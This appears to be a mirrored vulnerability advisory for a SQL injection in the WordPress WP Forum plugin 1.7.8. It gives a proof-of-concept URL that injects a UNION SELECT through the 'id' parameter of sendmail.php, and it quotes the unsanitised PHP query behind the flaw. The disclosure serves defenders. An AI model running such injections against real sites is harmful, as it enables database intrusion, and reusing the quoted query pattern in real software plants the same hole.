WordPress WP Forum 1.7.8 SQL Injection
🗓️ 19 Aug 2011 00:00:00Reported by Miroslav StamparType
packetstorm🔗 packetstormsecurity.com👁 28 Views
`# Exploit Title: WordPress WP Forum plugin <= 1.7.8 SQL Injection Vulnerability
# Date: 2011-08-18
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/wpforum.1.7.8.zip
# Version: 1.7.8 (tested)
---
PoC
---
http://www.site.com/wp-content/plugins/wpforum/sendmail.php?action=quote&id=-1 UNION ALL SELECT @@version,2,3
---------------
Vulnerable code
---------------
...
else if(isset($_GET['action']) && $_GET['action'] == 'quote'){
global $wpdb, $table_posts;
$id = $_GET['id'];
$text = $wpdb->get_row("SELECT text, author_id, date FROM $table_posts WHERE id = $id");
$u = new WP_user($text->author_id);
echo htmlentities("<blockquote><b>QUOTE</b> ($u->nickname @ ".date(get_option('forum_date_format'), strtotime($text->date)).")\n $text->text</blockquote>");
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
19 Aug 2011 00:00Current
0.1Low risk
Vulners AI Score0.1